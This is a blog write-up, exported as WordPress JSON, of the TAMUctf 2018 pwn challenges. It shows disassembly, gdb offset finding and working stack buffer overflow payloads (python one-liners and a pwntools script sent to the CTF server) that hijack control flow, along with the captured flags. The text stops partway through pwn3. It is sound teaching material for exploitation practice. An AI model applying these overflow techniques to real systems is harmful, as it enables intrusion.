{"id":407,"date":"2018-02-26T05:21:24","date_gmt":"2018-02-26T05:21:24","guid":{"rendered":"https:\/\/devel0pment.de\/?p=407"},"modified":"2018-05-20T19:54:22","modified_gmt":"2018-05-20T19:54:22","slug":"tamuctf-18-writeup-pwn1-5","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=407","title":{"rendered":"TAMUctf 18 &#8211; writeup pwn1-5"},"content":{"rendered":"<p>The <a href=\"https:\/\/ctf.tamu.edu\/\" target=\"_blank\" rel=\"noopener\">Texas A&#038;M University CTF<\/a> (<a href=\"https:\/\/ctftime.org\/event\/559\" target=\"_blank\" rel=\"noopener\">ctftime.org<\/a>) ran for over one week from 17\/02\/2018, 00:00 UTC to 26\/02\/2018 00:00 UTC. There have been a lot of challenges starting at a very easy difficulty.<\/p>\n<p>I did the five pwn challenges ranging from 25 to 200 points:<br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=407#pwn1\">pwn1 (25 pts)<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=407#pwn2\">pwn2 (50 pts)<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=407#pwn3\">pwn3 (75 pts)<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=407#pwn4\">pwn4 (125 pts)<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=407#pwn5\">pwn5 (200 pts)<\/a><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"pwn1\">pwn1 (25 pts)<\/h1>\n<p>Each of the five challenges provided a binary (ELF x86) and a hostname \/ port of the server on which the binary is running.<\/p>\n<p>Let&#8217;s get started with <code>pwn1<\/code> using <code>checksec<\/code> to see what security mechanism are enabled:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# checksec pwn1\r\n&#x5B;*] '\/root\/Downloads\/pwn_tamu\/pwn1'\r\n    Arch:     i386-32-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    No canary found\r\n    NX:       NX enabled\r\n    PIE:      No PIE (0x8048000)\r\n<\/pre>\n<p>No stack canary has been found, which means that we might be able to leverage a buffer overflow on the stack.<\/p>\n<p>When running the program we are asked for a secret and are able to enter something:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# .\/pwn1\r\nThis is a super secret program\r\nNoone is allowed through except for those who know the secret!\r\nWhat is my secret?\r\naaa\r\nThat is not the secret word!\r\n<\/pre>\n<p>Using <code>radare2<\/code> we can analyze the binary:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# r2 pwn1\r\n&#x5B;0x08048450]&gt; aaa\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n&#x5B;x] Analyze len bytes of instructions for references (aar)\r\n&#x5B;x] Analyze function calls (aac)\r\n&#x5B; ] &#x5B;*] Use -AA or aaaa to perform additional experimental analysis.\r\n&#x5B;x] Constructing a function name for fcn.* and sym.func.* functions (aan))\r\n<\/pre>\n<p>At first we can list all functions using the command <code>afl<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [17]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048450]&gt; afl\r\n0x08048390    3 35           sym._init\r\n0x080483d0    1 6            sym.imp.gets\r\n0x080483e0    1 6            sym.imp._IO_getc\r\n0x080483f0    1 6            sym.imp.puts\r\n0x08048400    1 6            sym.imp.__libc_start_main\r\n0x08048410    1 6            sym.imp.setvbuf\r\n0x08048420    1 6            sym.imp.fopen\r\n0x08048430    1 6            sym.imp.putchar\r\n0x08048440    1 6            sub.__gmon_start___252_440\r\n0x08048450    1 33           entry0\r\n0x08048480    1 4            sym.__x86.get_pc_thunk.bx\r\n0x08048490    4 43           sym.deregister_tm_clones\r\n0x080484c0    4 53           sym.register_tm_clones\r\n0x08048500    3 30           sym.__do_global_dtors_aux\r\n0x08048520    4 43   -&gt; 40   sym.frame_dummy\r\n0x0804854b    4 103          sym.print_flag\r\n0x080485b2    4 152          sym.main\r\n0x08048650    4 93           sym.__libc_csu_init\r\n0x080486b0    1 2            sym.__libc_csu_fini\r\n0x080486b4    1 20           sym._fini\r\n<\/pre>\n<p>There is a function called <code>sym.print_flag<\/code>. Obviously our goal is to call this function to get the flag.<\/p>\n<p>Let&#8217;s have a look at the <code>main<\/code> function in order to understand how the program works. Within <code>r2<\/code> a function can be disassembled with the command <code>pdf<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [36,38,40,42,43,44]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048450]&gt; pdf @ sym.main\r\n            ;-- main:\r\n\/ (fcn) sym.main 152\r\n|   sym.main ();\r\n|           ; var int local_23h @ ebp-0x23\r\n|           ; var int local_ch @ ebp-0xc\r\n|           ; var int local_4h_2 @ ebp-0x4\r\n|           ; var int local_4h @ esp+0x4\r\n|           ; DATA XREF from 0x08048467 (entry0)\r\n|           0x080485b2      8d4c2404       lea ecx, dword &#x5B;esp + local_4h] ; 0x4\r\n|           0x080485b6      83e4f0         and esp, 0xfffffff0\r\n|           0x080485b9      ff71fc         push dword &#x5B;ecx - 4]\r\n|           0x080485bc      55             push ebp\r\n|           0x080485bd      89e5           mov ebp, esp\r\n|           0x080485bf      51             push ecx\r\n|           0x080485c0      83ec24         sub esp, 0x24               ; '$'\r\n|           0x080485c3      a130a00408     mov eax, dword &#x5B;obj.stdout] ; &#x5B;0x804a030:4]=0x3a434347 LEA obj.stdout ; &quot;GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609&quot; @ 0x804a030\r\n|           0x080485c8      6a00           push 0\r\n|           0x080485ca      6a00           push 0\r\n|           0x080485cc      6a02           push 2\r\n|           0x080485ce      50             push eax\r\n|           0x080485cf      e83cfeffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);\r\n|           0x080485d4      83c410         add esp, 0x10\r\n|           0x080485d7      83ec0c         sub esp, 0xc\r\n|           0x080485da      6800870408     push str.This_is_a_super_secret_program ; str.This_is_a_super_secret_program ; &quot;This is a super secret program&quot; @ 0x8048700\r\n|           0x080485df      e80cfeffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x080485e4      83c410         add esp, 0x10\r\n|           0x080485e7      83ec0c         sub esp, 0xc\r\n|           0x080485ea      6820870408     push str.Noone_is_allowed_through_except_for_those_who_know_the_secret_ ; str.Noone_is_allowed_through_except_for_those_who_know_the_secret_ ; &quot;Noone is allowed through except for those who know the secret!&quot; @ 0x8048720\r\n|           0x080485ef      e8fcfdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x080485f4      83c410         add esp, 0x10\r\n|           0x080485f7      83ec0c         sub esp, 0xc\r\n|           0x080485fa      685f870408     push str.What_is_my_secret_ ; str.What_is_my_secret_ ; &quot;What is my secret?&quot; @ 0x804875f\r\n|           0x080485ff      e8ecfdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x08048604      83c410         add esp, 0x10\r\n|           0x08048607      c745f4000000.  mov dword &#x5B;ebp - local_ch], 0\r\n|           0x0804860e      83ec0c         sub esp, 0xc\r\n|           0x08048611      8d45dd         lea eax, dword &#x5B;ebp - local_23h]\r\n|           0x08048614      50             push eax\r\n|           0x08048615      e8b6fdffff     call sym.imp.gets          ; char*gets(char *s);\r\n|           0x0804861a      83c410         add esp, 0x10\r\n|           0x0804861d      817df411ba07.  cmp dword &#x5B;ebp - local_ch], 0xf007ba11 ; &#x5B;0xf007ba11:4]=-1\r\n|       ,=&lt; 0x08048624      7507           jne 0x804862d\r\n|       |   0x08048626      e820ffffff     call sym.print_flag        ; floating_point rint(arithmetic x);\r\n|      ,==&lt; 0x0804862b      eb10           jmp 0x804863d\r\n|      ||   ; JMP XREF from 0x08048624 (sym.main)\r\n|      |`-&gt; 0x0804862d      83ec0c         sub esp, 0xc\r\n|      |    0x08048630      6872870408     push str.That_is_not_the_secret_word_ ; str.That_is_not_the_secret_word_ ; &quot;That is not the secret word!&quot; @ 0x8048772\r\n|      |    0x08048635      e8b6fdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|      |    0x0804863a      83c410         add esp, 0x10\r\n|      |    ; JMP XREF from 0x0804862b (sym.main)\r\n|      `--&gt; 0x0804863d      b800000000     mov eax, 0\r\n|           0x08048642      8b4dfc         mov ecx, dword &#x5B;ebp - local_4h_2]\r\n|           0x08048645      c9             leave\r\n|           0x08048646      8d61fc         lea esp, dword &#x5B;ecx - 4]\r\n\\           0x08048649      c3             ret\r\n&#x5B;0x08048450]&gt; \r\n<\/pre>\n<p>The relevant parts are highlighted. There is a local variable stored at <code>ebp-0xc<\/code>, which is initialized with 0 (first highlighted line). On the next highlighted line the address of <code>ebp-0x23<\/code> is moved to <code>eax<\/code>, which is then pushed on the stack. This is the argument to the call to <code>gets<\/code> on the third highlighted line. Using <code>gets<\/code> is dangerous since the function does not do any boundary checks:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,18,19,20]; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# man gets\r\n\r\nNAME\r\n       fgetc, fgets, getc, getchar, gets, ungetc - input of characters and strings\r\n\r\nSYNOPSIS\r\n       #include &lt;stdio.h&gt;\r\n\r\n       ...\r\n\r\n       char *gets(char *s);\r\n\r\n       int ungetc(int c, FILE *stream);\r\n\r\nDESCRIPTION\r\n       ...\r\n\r\n       gets()  reads  a line from stdin into the buffer pointed to by s until either a terminating newline\r\n       or EOF, which it replaces with a null byte ('&#92;&#48;').  No check for buffer overrun is  performed  (see\r\n       BUGS below).\r\n<\/pre>\n<p>After the function call to <code>gets<\/code> the local variable stored at <code>ebp-0xc<\/code> is compared to the value <code>0xf007ba11<\/code>. If the comparison succeeds the <code>jne<\/code> on the following line is <u>not<\/u> taken. Thus the next line is executed which calls the function <code>sym.print_flag<\/code>.<\/p>\n<p>This means that we have to set the local variable stored at <code>ebp-0xc<\/code> to the value <code>0xf007ba11<\/code>. Our user input is stored beginning at <code>ebp-0x23<\/code> (the argument to <code>gets<\/code>). Since <code>gets<\/code> does not do any boundary checks we can simply write so much bytes that we overwrite the local variable stored at <code>ebp-0xc<\/code>.<\/p>\n<p>How much bytes do we have to write? Well, since our input is stored beginning at <code>ebp-0x23<\/code> and the local variable we want to overwrite at <code>ebp-0xc<\/code> we just have to subtract one from the other:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048450]&gt; ! rax2 0x23-0xc\r\n23\r\n<\/pre>\n<p>Thus we have to write 23 bytes + the value we want to write into the local variable stored at <code>ebp-0xc<\/code>. Since we want the <code>sym.print_flag<\/code> function to be called, we need to overwrite it with the value <code>0xf007ba11<\/code>. Remember that an integer is stored in little endian:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# python -c 'print(&quot;X&quot;*23+&quot;\\x11\\xba\\x07\\xf0&quot;)' | nc pwn.ctf.tamu.edu 4321\r\nThis is a super secret program\r\nNoone is allowed through except for those who know the secret!\r\nWhat is my secret?\r\nHow did you figure out my secret?!\r\ngigem{H0W_H4RD_1S_TH4T?}\r\n<\/pre>\n<p>Done \ud83d\ude42 The flag is <code>gigem{H0W_H4RD_1S_TH4T?}<\/code>.<\/p>\n<hr \/>\n<h1 id=\"pwn2\">pwn2 (50 pts)<\/h1>\n<p>We start by viewing the enabled security mechanisms using <code>checksec<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# checksec pwn2\r\n&#x5B;*] '\/root\/Downloads\/pwn_tamu\/pwn2'\r\n    Arch:     i386-32-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    No canary found\r\n    NX:       NX enabled\r\n    PIE:      No PIE (0x8048000)\r\n<\/pre>\n<p>As well as <code>pwn1<\/code> there is no stack canary.<\/p>\n<p>When running the program we can input a string which is echoed again:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# .\/pwn2\r\nI just love repeating what other people say!\r\nI bet I can repeat anything you tell me!\r\naaa\r\naaa\r\n<\/pre>\n<p>Here I entered <code>aaa<\/code> which is simply repeated. Let&#8217;s have a look at the assembly using <code>r2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [20]; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# r2 pwn2\r\n&#x5B;0x08048450]&gt; aaa\r\n...\r\n&#x5B;0x08048450]&gt; afl\r\n0x08048390    3 35           sym._init\r\n0x080483d0    1 6            sym.imp.gets\r\n0x080483e0    1 6            sym.imp._IO_getc\r\n0x080483f0    1 6            sym.imp.puts\r\n0x08048400    1 6            sym.imp.__libc_start_main\r\n0x08048410    1 6            sym.imp.setvbuf\r\n0x08048420    1 6            sym.imp.fopen\r\n0x08048430    1 6            sym.imp.putchar\r\n0x08048440    1 6            sub.__gmon_start___252_440\r\n0x08048450    1 33           entry0\r\n0x08048480    1 4            sym.__x86.get_pc_thunk.bx\r\n0x08048490    4 43           sym.deregister_tm_clones\r\n0x080484c0    4 53           sym.register_tm_clones\r\n0x08048500    3 30           sym.__do_global_dtors_aux\r\n0x08048520    4 43   -&gt; 40   sym.frame_dummy\r\n0x0804854b    4 103          sym.print_flag\r\n0x080485b2    1 68           sym.echo\r\n0x080485f6    1 87           sym.main\r\n0x08048650    4 93           sym.__libc_csu_init\r\n0x080486b0    1 2            sym.__libc_csu_fini\r\n0x080486b4    1 20           sym._fini\r\n<\/pre>\n<p>Yet again there is a function called <code>sym.print_flag<\/code> which is stored at <code>0x0804854b<\/code>.<\/p>\n<p>At first we have a look at the <code>main<\/code> function:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [30]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048450]&gt; pdf @ sym.main\r\n            ;-- main:\r\n\/ (fcn) sym.main 87\r\n|   sym.main ();\r\n|           ; var int local_4h_2 @ ebp-0x4\r\n|           ; var int local_4h @ esp+0x4\r\n|           ; DATA XREF from 0x08048467 (entry0)\r\n|           0x080485f6      8d4c2404       lea ecx, dword &#x5B;esp + local_4h] ; 0x4\r\n|           0x080485fa      83e4f0         and esp, 0xfffffff0\r\n|           0x080485fd      ff71fc         push dword &#x5B;ecx - 4]\r\n|           0x08048600      55             push ebp\r\n|           0x08048601      89e5           mov ebp, esp\r\n|           0x08048603      51             push ecx\r\n|           0x08048604      83ec04         sub esp, 4\r\n|           0x08048607      a130a00408     mov eax, dword &#x5B;obj.stdout] ; &#x5B;0x804a030:4]=0x3a434347 LEA obj.stdout ; &quot;GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609&quot; @ 0x804a030\r\n|           0x0804860c      6a00           push 0\r\n|           0x0804860e      6a00           push 0\r\n|           0x08048610      6a02           push 2\r\n|           0x08048612      50             push eax\r\n|           0x08048613      e8f8fdffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);\r\n|           0x08048618      83c410         add esp, 0x10\r\n|           0x0804861b      83ec0c         sub esp, 0xc\r\n|           0x0804861e      6800870408     push str.I_just_love_repeating_what_other_people_say_ ; str.I_just_love_repeating_what_other_people_say_ ; &quot;I just love repeating what other people say!&quot; @ 0x8048700\r\n|           0x08048623      e8c8fdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x08048628      83c410         add esp, 0x10\r\n|           0x0804862b      83ec0c         sub esp, 0xc\r\n|           0x0804862e      6830870408     push str.I_bet_I_can_repeat_anything_you_tell_me_ ; str.I_bet_I_can_repeat_anything_you_tell_me_ ; &quot;I bet I can repeat anything you tell me!&quot; @ 0x8048730\r\n|           0x08048633      e8b8fdffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x08048638      83c410         add esp, 0x10\r\n|           0x0804863b      e872ffffff     call sym.echo\r\n|           0x08048640      b800000000     mov eax, 0\r\n|           0x08048645      8b4dfc         mov ecx, dword &#x5B;ebp - local_4h_2]\r\n|           0x08048648      c9             leave\r\n|           0x08048649      8d61fc         lea esp, dword &#x5B;ecx - 4]\r\n\\           0x0804864c      c3             ret\r\n<\/pre>\n<p>Within the <code>main<\/code> function the initial output of the program is displayed using <code>puts<\/code>. After this there is a call to <code>sym.echo<\/code>. This is where our input should be read:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [19]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048450]&gt; pdf @ sym.echo\r\n\/ (fcn) sym.echo 68\r\n|   sym.echo ();\r\n|           ; var int local_efh @ ebp-0xef\r\n|           ; CALL XREF from 0x0804863b (sym.main)\r\n|           0x080485b2      55             push ebp\r\n|           0x080485b3      89e5           mov ebp, esp\r\n|           0x080485b5      81ecf8000000   sub esp, 0xf8\r\n|           0x080485bb      a130a00408     mov eax, dword &#x5B;obj.stdout] ; &#x5B;0x804a030:4]=0x3a434347 LEA obj.stdout ; &quot;GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609&quot; @ 0x804a030\r\n|           0x080485c0      6a00           push 0\r\n|           0x080485c2      6a00           push 0\r\n|           0x080485c4      6a02           push 2\r\n|           0x080485c6      50             push eax\r\n|           0x080485c7      e844feffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);\r\n|           0x080485cc      83c410         add esp, 0x10\r\n|           0x080485cf      83ec0c         sub esp, 0xc\r\n|           0x080485d2      8d8511ffffff   lea eax, dword &#x5B;ebp - local_efh]\r\n|           0x080485d8      50             push eax\r\n|           0x080485d9      e8f2fdffff     call sym.imp.gets          ; char*gets(char *s);\r\n|           0x080485de      83c410         add esp, 0x10\r\n|           0x080485e1      83ec0c         sub esp, 0xc\r\n|           0x080485e4      8d8511ffffff   lea eax, dword &#x5B;ebp - local_efh]\r\n|           0x080485ea      50             push eax\r\n|           0x080485eb      e800feffff     call sym.imp.puts          ; int puts(const char *s);\r\n|           0x080485f0      83c410         add esp, 0x10\r\n|           0x080485f3      90             nop\r\n|           0x080485f4      c9             leave\r\n\\           0x080485f5      c3             ret\r\n&#x5B;0x08048450]&gt; \r\n<\/pre>\n<p>On the highlighted line <code>gets<\/code> is called to read the user input. As we have already seen in <code>pwn1<\/code> the function <code>gets<\/code> does not do any boundary checks and we can thus cause a buffer overflow.<\/p>\n<p>In <code>pwn1<\/code> we used the buffer overflow to overwrite a local variable on the stack. In addition to local variables the return address of every function call is stored on the stack. The <code>ret<\/code> instruction at the end of a function pops this return address from the stack and puts it into the instruction pointer <code>eip<\/code>. This way the execution proceeds with the instructions stored at the return address.<\/p>\n<p>If we input enough bytes to overwrite the return address, we can control the instruction pointer and can set it to the address of the function <code>sym.print_flag<\/code>. This way the function will be executed printing the flag.<\/p>\n<p>At first we have to know how much bytes we have to write in order to overwrite the return address. In other words: we have to know the offset from the buffer where our input is stored to the return address.<\/p>\n<p>This can be achieved by using a pattern, which is basically a sequence of different characters. When the return address is overwritten with a part of our pattern the program will raise a segmentation fault because the instruction pointer is set to an invalid address. When we inspect the instruction pointer after the segmentation fault was raised, we can see which part of the pattern has been loaded into the instruction pointer and calculate the offset within our pattern. All this can be done using <code>gdb-peda<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,9,20,23,35,36]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern create 300 \/tmp\/pattern_pwn2\r\nWriting pattern of 300 chars to filename &quot;\/tmp\/pattern_pwn2&quot;\r\ngdb-peda$ r &lt; \/tmp\/pattern_pwn2 \r\nStarting program: \/root\/Downloads\/pwn_tamu\/pwn2 &lt; \/tmp\/pattern_pwn2\r\nI just love repeating what other people say!\r\nI bet I can repeat anything you tell me!\r\nAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x12d \r\nEBX: 0x0 \r\nECX: 0xf7faddc7 --&gt; 0xfae8940a \r\nEDX: 0xf7fae894 --&gt; 0x0 \r\nESI: 0xf7fad000 --&gt; 0x1cfd70 \r\nEDI: 0x0 \r\nEBP: 0x25416125 ('%aA%')\r\nESP: 0xffffd340 (&quot;A%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\nEIP: 0x46254130 ('0A%F')\r\nEFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x46254130\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xffffd340 (&quot;A%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0004| 0xffffd344 (&quot;%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0008| 0xffffd348 (&quot;GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0012| 0xffffd34c (&quot;A%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0016| 0xffffd350 (&quot;%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0020| 0xffffd354 (&quot;dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0024| 0xffffd358 (&quot;A%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n0028| 0xffffd35c (&quot;%eA%4A%JA%fA%5A%KA%gA%6A%&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x46254130 in ?? ()\r\n<\/pre>\n<p>Within <code>gdb-peda<\/code> we can create a pattern using the command <code>pattern create &lt;length&gt; &lt;file&gt;<\/code>. Here I created a pattern of 300 bytes and then run the program with that pattern (<code>r < \/tmp\/pattern_pwn2<\/code>).<\/p>\n<p>The program raises a segmentation fault and the instruction pointer <code>eip<\/code> has been set to <code>0x46254130<\/code> (ASCII: <code>\"0A%F\"<\/code>). This is the part of our pattern which overwrote the return address on the stack. In order to calculate the offset we can simply use the command <code>pattern offset &lt;part of pattern&gt;<\/code> (in this case simply <code>$eip<\/code>):<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern offset $eip\r\n1176846640 found at offset: 243\r\n<\/pre>\n<p>Thus we have to write 243 bytes + the address of <code>sym.print_flag<\/code> in order to get the function called:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# python -c 'print(&quot;X&quot;*243 + &quot;\\x4b\\x85\\x04\\x08&quot;)' | nc pwn.ctf.tamu.edu 4322\r\nI just love repeating what other people say!\r\nI bet I can repeat anything you tell me!\r\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXK\ufffd\u0004\r\nThis function has been deprecated\r\ngigem{3ch035_0f_7h3_p4s7}\r\n<\/pre>\n<p>We could also write a little python-script using <code>pwntools<\/code> (I introduce this here because I am going to use this from now on):<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# cat pwn2.py\r\nfrom pwn import *\r\n\r\np = remote(&quot;pwn.ctf.tamu.edu&quot;, 4322)\r\n\r\np.recvuntil(&quot;tell me!&quot;)\r\np.sendline(&quot;X&quot;*243+p32(0x804854b))\r\np.recvuntil(&quot;deprecated\\n&quot;)\r\nprint(p.recv(100))\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# python pwn2.py\r\n&#x5B;+] Opening connection to pwn.ctf.tamu.edu on port 4322: Done\r\ngigem{3ch035_0f_7h3_p4s7}\r\n\r\n&#x5B;*] Closed connection to pwn.ctf.tamu.edu port 4322\r\n<\/pre>\n<p>Finished! The flag is <code>gigem{3ch035_0f_7h3_p4s7}<\/code>.<\/p>\n<hr \/>\n<h1 id=\"pwn3\">pwn3 (75 pts)<\/h1>\n<p>As usual we start by checking which security mechanisms are enabled:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [6]; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# checksec pwn3\r\n&#x5B;*] '\/root\/Downloads\/pwn_tamu\/pwn3'\r\n    Arch:     i386-32-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    No canary found\r\n    NX:       NX disabled\r\n    PIE:      No PIE (0x8048000)\r\n    RWX:      Has RWX segments\r\n<\/pre>\n<p>Unlike the last two binaries <code>NX<\/code> is disabled. This means that the stack is executable and we can store and execute a shellcode on the stack.<\/p>\n<p>Like <code>pwn2<\/code> the program simply repeats the input we enter:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# .\/pwn3\r\nWelcome to the New Echo application 2.0!\r\nChangelog:\r\n- Less deprecated flag printing functions!\r\n- New Random Number Generator!\r\n\r\nYour random number 0xff8201ca!\r\nNow what should I echo? aaaa\r\naaaa\r\n<\/pre>\n<p>But there is also a <code>random number<\/code> being printed. Let's analyze the binary using <code>r2<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Downloads\/pwn_tamu# r2 pwn3\r\n&#x5B;0x080483d0]&gt; aaa\r\n...\r\n&#x5B;0x080483d0]&gt; afl\r\n0x08048330    3 35           sym._init\r\n0x08048370    1 6            sym.imp.printf\r\n0x08048380    1 6            sym.imp.gets\r\n0x08048390    1 6            sym.imp.puts\r\n0x080483a0    1 6            sym.imp.__libc_start_main\r\n0x080483b0    1 6            sym.imp.setvbuf\r\n0x080483c0    1 6            sub.__gmon_start___252_3c0\r\n0x080483d0    1 33           entry0\r\n0x08048400    1 4            sym.__x86.get_pc_thunk.bx\r\n0x08048410    4 43           sym.deregister_tm_clones\r\n0x08048440    4 53           sym.register_tm_clones\r\n0x08048480    3 30           sym.__do_global_dtors_aux\r\n0x080484a0    4 43   -&gt; 40   sym.frame_dummy\r\n0x080484cb    1 87           sym.echo\r\n0x08048522    1 87           sym.main\r\n0x08048580    4 93           sym.__libc_csu_init\r\n0x080485e0    1 2            sym.__libc_csu_fini\r\n0x080485e4    1 20           sym._fini\r\n<\/pre>\n<p>This time there seems to be no <code>print_flag<\/code> function. Let's have a look at the <code>main<\/code> function:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [30]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x080483d0]&gt; pdf @ sym.main \r\n            ;-- main:\r\n\/ (fcn) sym.main 87\r\n|   sym.main ();\r\n|           ; var int local_4h_2 @ ebp-0x4\r\n|           ; var int local_4h @ esp+0x4\r\n|           ; DATA XREF from 0x080483e7 (entry0)\r\n|           0x08048522      8d4c2404       lea ecx, dword &#x5B;esp + local_4h] ; 0x4\r\n|           0x08048526      83e4f0         and esp, 0xfffffff0\r\n|           0x08048529      ff71fc         push dword &#x5B;ecx - 4]\r\n|           0x0804852c      55             push ebp\r\n|           0x0804852d      89e5           mov ebp, esp\r\n|           0x0804852f      51             push ecx\r\n|           0x08048530      83ec04         sub esp, 4\r\n|           0x08048533      a128a00408     mov eax, dword &#x5B;obj.stdout] ; &#x5B;0x804a028:4]=0x3a434347 LEA obj.stdout ; &quot;GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609&quot; @ 0x804a028\r\n|           0x08048538      6a00           push 0\r\n|           0x0804853a      6a00           push 0\r\n|           0x0804853c      6a02           push 2\r\n|           0x0804853e      50             push eax\r\n|           0x0804853f      e86cfeffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);\r\n|           0x08048544      83c410         add esp, 0x10\r\n|           0x08048547      83ec0c         sub esp, 0xc\r\n|           0x0804854a      6834860408     push str.Welcome_to_the_New_Echo_application_2.0_ ; str.Welcome_to_the_New_Echo_application_2.0_ ; &quot;Welcome to the New Echo application 2.0!&quot; @ 0x8048634\r\n|           0x0804854f      e83cfeffff     call sym.imp.puts          ; int puts(const 